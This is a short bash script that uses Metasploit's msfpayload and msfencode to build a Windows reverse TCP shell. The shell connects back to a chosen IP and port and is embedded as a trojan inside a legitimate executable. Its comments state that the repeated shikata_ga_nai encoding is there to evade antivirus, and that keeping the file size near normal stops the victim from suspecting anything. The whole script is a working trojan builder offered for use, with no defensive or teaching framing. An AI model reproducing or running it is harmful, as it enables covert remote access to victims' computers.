#msfencode

#!/bin/bash

# counts to mangle the trojan to avoid av detect

# keep low we want close to normal filesize for user not to suspect anything

count=15

if [[ -z $3 ]];then

        echo "usage $(basename $0) <revservip> <revservport> <binary filename>"

        echo "to attach to filename_out.exe"

        echo "doesn't work well for PU binaries, they say"

        exit 0

else

        ip=$1

        port=$2

        bin=$3

        tdir=$(dirname $bin)

        echo "encoding ${bin}-out.exe , mangling $count times"

fi

msfpayload windows/shell/reverse_tcp LHOST=${ip} LPORT=${port} R | \

    msfencode -x "${tdir}/${bin}" -t exe -e x86/shikata_ga_nai -o "${tdir}/${bin%%.*}-out.exe" -c $count